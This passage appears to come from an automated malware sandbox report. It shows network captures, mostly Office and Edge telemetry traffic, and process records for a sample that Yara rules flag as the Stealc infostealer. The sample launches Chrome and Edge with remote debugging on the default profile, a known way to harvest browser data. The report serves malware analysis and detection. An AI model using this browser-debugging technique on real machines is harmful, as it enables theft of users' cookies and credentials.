2024-11-28 16:24:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:55 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 42ae9f56-701e-0001-1d37-40b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162455Z-174f78459685726chC1EWRsnbg0000000ys0000000007rbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:56 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:55 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:55 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4fade03f-801e-007b-1115-41e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162455Z-174f7845968kdththC1EWRzvxn0000000b4g000000000576 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:55 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:56 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:55 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162455Z-174f7845968swgbqhC1EWRmnb40000000yrg00000000fpaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:56 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:56 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162456Z-174f7845968pf68xhC1EWRr4h80000000yzg000000004dwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:56 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49925	20.189.173.10	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:56 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811092849&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5005 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-28 16:24:56 UTC	5005	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 34 3a 35 32 2e 38 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 38 38 35 35 33 34 64 2d 36 63 33 30 2d 34 61 36 37 2d 38 31 66 32 2d 61 65 33 37 65 30 30 32 32 34 34 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 30 31 32 38 33 31 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T16:24:52.847Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"3885534d-6c30-4a67-81f2-ae37e002244e","epoch":"3901283178"},"app":{"locale
2024-11-28 16:24:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d02fda659fa247c1af1c7332e47cf6c5&HASH=d02f&LV=202411&V=4&LU=1732811096515; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 16:24:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dec4e15f08f94949b847866506fc8583; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 16:54:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3666 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 16:24:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49927	20.189.173.10	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:56 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811093676&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5203 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; msnup=
2024-11-28 16:24:56 UTC	5203	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 34 3a 35 33 2e 36 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 38 38 35 35 33 34 64 2d 36 63 33 30 2d 34 61 36 37 2d 38 31 66 32 2d 61 65 33 37 65 30 30 32 32 34 34 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 30 31 32 38 33 31 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-28T16:24:53.675Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"3885534d-6c30-4a67-81f2-ae37e002244e","epoch":"3901283178"},"app":{"locale
2024-11-28 16:24:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7bff2a0449a84ba8adaeed56d3c499bc&HASH=7bff&LV=202411&V=4&LU=1732811096733; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 16:24:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ff44b24beb764515a15c6604cdf643dd; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 16:54:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3057 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 16:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49928	20.189.173.10	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:56 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811093848&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9553 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; msnup=
2024-11-28 16:24:56 UTC	9553	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 34 3a 35 33 2e 38 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 38 38 35 35 33 34 64 2d 36 63 33 30 2d 34 61 36 37 2d 38 31 66 32 2d 61 65 33 37 65 30 30 32 32 34 34 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 30 31 32 38 33 31 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-28T16:24:53.847Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"3885534d-6c30-4a67-81f2-ae37e002244e","epoch":"3901283178"},"app":{"loc
2024-11-28 16:24:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=57dc689c9bac450ab3c1b6924ba020d3&HASH=57dc&LV=202411&V=4&LU=1732811097128; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 16:24:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4ac34a627466410e9d8e90de1f939d8e; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 16:54:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3280 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 16:24:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:56 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:57 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162457Z-174f7845968l4kp6hC1EWRe8840000000yyg0000000073mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:57 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:57 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:58 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162458Z-174f7845968zgtf6hC1EWRqd8s0000000rgg00000000h9tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:58 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Target ID:	0
Start time:	11:24:08
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x460000
File size:	1'841'664 bytes
MD5 hash:	84394FD23D755BE3A32A02161F23DB10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2677567170.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2168005670.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:24:19
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:24:19
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2100,i,3394978632437486515,13494455845462171770,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:24:30
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:24:30
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
